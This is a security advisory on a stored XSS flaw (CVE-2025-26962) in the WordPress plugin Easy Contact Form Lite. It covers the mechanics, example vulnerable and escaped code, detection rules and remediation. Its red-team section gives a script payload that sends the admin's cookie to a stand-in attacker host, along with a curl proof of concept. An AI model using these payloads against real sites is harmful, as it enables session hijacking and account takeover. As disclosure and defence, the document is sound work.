CVE-2025-26962

Executive Summary

CVE-2025-26962 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Easy Contact Form Lite by Ghozylab, affecting versions through 1.1.25. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the contact form submission data. When an administrator or other user views the stored submissions, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No public exploit code or patch details are available, making this a high-priority issue for WordPress site administrators using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not managed via NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to any WordPress site that has installed the plugin, as the vulnerable code is part of the plugin’s core functionality. Administrators should verify the plugin version and consider disabling it until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to submit the form.
• User Interaction: Required (UI:R) – The victim must view the stored submission.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a WordPress admin context elevates the risk for affected sites.

Deep Dive & Mechanics

The vulnerability exists in the contact-form-lite plugin’s handling of form submissions. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later displaying it in the WordPress admin dashboard. Specifically, fields such as name, email, message, or custom fields are not properly neutralized, allowing an attacker to embed HTML and JavaScript payloads.

Attack Flow:

1. An attacker submits a contact form with a malicious payload in one of the input fields, e.g., <script>alert('XSS')</script>.
2. The plugin stores the payload in the WordPress database without sanitization.
3. When an administrator navigates to the “Contact Form Entries” page (or similar), the plugin retrieves and renders the stored data without escaping.
4. The malicious script executes in the administrator’s browser, potentially allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

Root Cause: The plugin uses functions like echo $data or the_content() without applying WordPress’s built-in escaping functions such as esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a file like display-entries.php
echo "<tr><td>" . $entry->name . "</td><td>" . $entry->message . "</td></tr>";

Patched Code (Expected):

echo "<tr><td>" . esc_html( $entry->name ) . "</td><td>" . esc_html( $entry->message ) . "</td></tr>";

The patched version would use esc_html() to neutralize any HTML/JavaScript before output. Since no official patch is available, administrators must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Easy Contact Form Lite <= 1.1.25 installed and active.
• Access to the public-facing contact form.

Exploitation Steps:

1. Identify the contact form endpoint (e.g., /wp-admin/admin-ajax.php or a custom page).
2. Submit a form with a malicious payload in a text field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to view the submissions in the admin panel.
4. The script executes, exfiltrating the admin’s session cookie.

Proof-of-Concept (PoC):

curl -X POST http://target-site/wp-admin/admin-ajax.php \
  -d "action=submit_contact_form&name=<script>alert('XSS')</script>&email=test@test.com&message=test"

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual form submissions containing <script>, <img onerror>, or other HTML event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Enable WordPress’s built-in wp_kses filtering for all user inputs.

Mitigation:

• Disable the plugin until a patch is released.
• Manually patch the plugin by adding esc_html() to all output functions.
• Restrict access to the admin submissions page using IP whitelisting or two-factor authentication.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with parameters containing <script> tags.
• File: Modified plugin files (e.g., easy-contact-form-lite/display-entries.php) containing unsanitized output.
• Database: Entries in the wp_contact_form_entries table (or similar) with HTML/JavaScript in text fields.
• Logs: WordPress debug logs showing PHP notices about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_26962_Stored_XSS {
    meta:
        description = "Detects unsanitized output in Easy Contact Form Lite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26962"
    strings:
        $unsafe_output = /echo\s*\$[a-zA-Z_]+->[a-zA-Z_]+/ nocase
        $unsafe_print = /print\s*\$[a-zA-Z_]+->[a-zA-Z_]+/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-26962 Stored XSS in Easy Contact Form Lite
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects potential XSS payloads in contact form submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'action=submit_contact_form'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26962 Stored XSS in Easy Contact Form Lite";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=submit_contact_form"; http_client_body;
    pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-26962;
)

Remediation & Mitigation

1. Immediate Action: Disable the Easy Contact Form Lite plugin until a patch is available.
2. Manual Patching: If the plugin is critical, apply the following fix to all output functions:
   • Replace echo $data with echo esc_html( $data ).
   • Replace print $data with print esc_html( $data ).
3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> or other XSS patterns in form fields.
4. Monitoring: Enable WordPress audit logging and monitor for suspicious form submissions.
5. Update: Watch the WordPress plugin repository for an official update and apply it immediately when released.

Valters IT
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